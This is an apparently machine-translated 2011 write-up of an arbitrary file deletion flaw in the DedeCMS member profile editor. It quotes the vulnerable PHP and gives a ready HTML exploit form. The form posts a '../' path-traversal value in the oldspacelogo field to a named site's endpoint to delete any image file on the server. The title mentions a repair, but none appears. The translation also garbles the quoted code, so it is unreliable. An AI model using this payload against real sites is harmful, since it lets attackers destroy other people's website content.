DEDECMS member Arbitrary File Deletion vulnerability and repair

Release date: 2011-01.25
Author: Mind

Affected Version: DEDECMS
Http://www.dedecms.com

Vulnerability Type: design defect
Vulnerability description:

 

Edit_fullinfo.php

If ($ dopost = save) // edit_fullinfo.php? Dopost = save is now in this step

{$ Oldspacelogo = (empty ($ oldspacelogo ))? "": $ Oldspacelogo; // No filtering is performed.

$ Spacelogo = (empty ($ spacelogo ))? "": $ Spacelogo; $ pagesize = (empty ($ pagesize ))? "": $ Pagesize; $ sign = (empty ($ sign ))? "": $ Sign; $ spacenews = (empty ($ spacenews ))? "": $ Spacenews; $ spacename = (empty ($ spacename ))? "": $ Spacename; $ maxlength = $ pai_max_face * 1024; $ userdir = $ pai_user_dir. /. $ uplo_ml-> M_ID; // $ userdir is the image folder of the current user ID, for example, uploadsuserup4 if (! Ereg (^. $ userdir, $ oldspacelogo) // This bypasses uploads/userup/4/.../to bypass

{$ Oldspacelogo =;} if (is_uploaded_file ($ spacelogo) // You must upload any file or image file.

{If (@ filesize ($ _ FILES [spacelogo] [tmp_name])> $ maxlength) {howMsg ("your uploaded Logo file exceeds the system size limit: {$ pai_max_face} K! ",-1); exit () ;}// check the image size. You can find a 1 kb image. // Delete the old image (to prevent file extensions from being different, for example: originally, it was gif, and later it was jpg.

If (eregi (". (jpg | gif | png) $ ", $ oldspacelogo) & file_exists ($ pai_basedir. $ oldspacelogo) {// because it cannot be bypassed here, it is called prank @ unlink ($ pai_basedir. $ oldspacelogo)} EXP

<Form id = "frmUpload" enctype = "multipart/form-data" action = "http://www.bkjia.com/member/edit_space_info.php" method = "post" name = "spacelogo">

Upload a new file:

<Input type = "file" name = "spacelogo" size = "50" id = "spacelogo" value = "spacelogo">

<Label> <input name = "dopost" type = "text" value = "save"/> </label> <label>

<Input name = "oldspacelogo" type = "text" value = "/uploads/userup/111 /.. /.. /.. /sb/11.jpg"/> // uploads/userup/111/upload an image in this path to obtain/sb/11.jpg, which is the path to delete the image. This is easy to understand. block of tofu and kill yourself

</Label>

<Label>

<Input name = "spacename" type = "text" value = "t00ls"/>

</Label>

<Label>

<Input name = "pagesize" type = "text" value = "10"/>

</Label>

<Input id = "spacelogo" type = "submit" value = "Upload"> </form>

In this way, any JPG, GIF, and PNG files on the website can be deleted. The Prank means that the LOGO is deleted or some advertisement images are deleted.